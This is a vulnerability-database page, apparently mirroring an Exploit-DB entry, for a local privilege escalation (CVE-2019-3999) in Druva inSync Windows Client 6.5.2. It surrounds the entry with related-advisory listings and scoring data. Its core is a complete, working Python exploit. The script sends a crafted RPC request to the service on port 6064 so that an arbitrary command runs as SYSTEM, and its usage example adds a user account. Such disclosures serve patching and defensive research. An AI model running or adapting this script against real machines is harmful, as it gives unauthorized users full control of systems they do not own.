Lucene search
+L

Druva inSync Windows Client 6.5.2 - Local Privilege Escalation

🗓️ 29 Apr 2020 00:00:00Reported by Chris LyneType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 127 Views

Druva inSync Windows Client 6.5.2 Local Privilege Escalation via Command Injectio

Related
Code
ReporterTitlePublishedViews
Family
zdt
zdt
Druva inSync Windows Client 6.5.2 - Local Privilege Escalation Exploit
30 Apr 202000:00
zdt
zdt
zdt
Druva inSync inSyncCPHwnet64.exe RPC Type 5 Privilege Escalation Exploit
12 May 202000:00
zdt
circl
Circl
CVE-2019-3999
29 Apr 202000:00
circl
cnvd
CNVD
Druva inSync Windows Client Arbitrary OS Command Execution Vulnerability
26 Feb 202000:00
cnvd
cve
CVE
CVE-2019-3999
25 Feb 202018:15
cve
cvelist
Cvelist
CVE-2019-3999
25 Feb 202018:15
cvelist
metasploit
Metasploit
Druva inSync inSyncCPHwnet64.exe RPC Type 5 Privilege Escalation
6 May 202014:09
metasploit
nvd
NVD
CVE-2019-3999
25 Feb 202019:15
nvd
osv
OSV
CVE-2019-3999
25 Feb 202019:15
osv
packetstorm
Packet Storm
Druva inSync Windows Client 6.5.2 Privilege Escalation
29 Apr 202000:00
packetstorm
Rows per page
# Exploit Title: Druva inSync Windows Client 6.5.2 - Local Privilege Escalation
# Date: 2020-04-28
# Exploit Author: Chris Lyne
# Vendor Homepage: druva.com
# Software Link: https://downloads.druva.com/downloads/inSync/Windows/6.5.2/inSync6.5.2r99097.msi
# Version: 6.5.2
# Tested on: Windows 10
# CVE : CVE-2019-3999
# See also: https://www.tenable.com/security/research/tra-2020-12

import socket
import struct
import sys

# Command injection in inSyncCPHwnet64 RPC service
# Runs as nt authority\system. so we have a local privilege escalation

if len(sys.argv) < 2:
    print "Usage: " + __file__ + " <quoted command to execute>"
    print "E.g. " + __file__ + " \"net user /add tenable\""
    sys.exit(0)

ip = '127.0.0.1'
port = 6064
command_line = sys.argv[1]

# command gets passed to CreateProcessW
def make_wide(str):
    new_str = ''
    for c in str:
        new_str += c
        new_str += '\x00'
    return new_str

hello = "inSync PHC RPCW[v0002]"
func_num = "\x05\x00\x00\x00"      # 05 is to run a command
command_line = make_wide(command_line)
command_length = struct.pack('<i', len(command_line))

# send each request separately
requests = [ hello, func_num, command_length, command_line ]

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip, port))

i = 1
for req in requests:
    print 'Sending request' + str(i)
    sock.send(req)
    i += 1

sock.close()

print "Done."

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

11 May 2023 00:00Current
7.3High risk
Vulners AI Score7.3
CVSS 27.2
CVSS 3.17.8
EPSS0.08566
127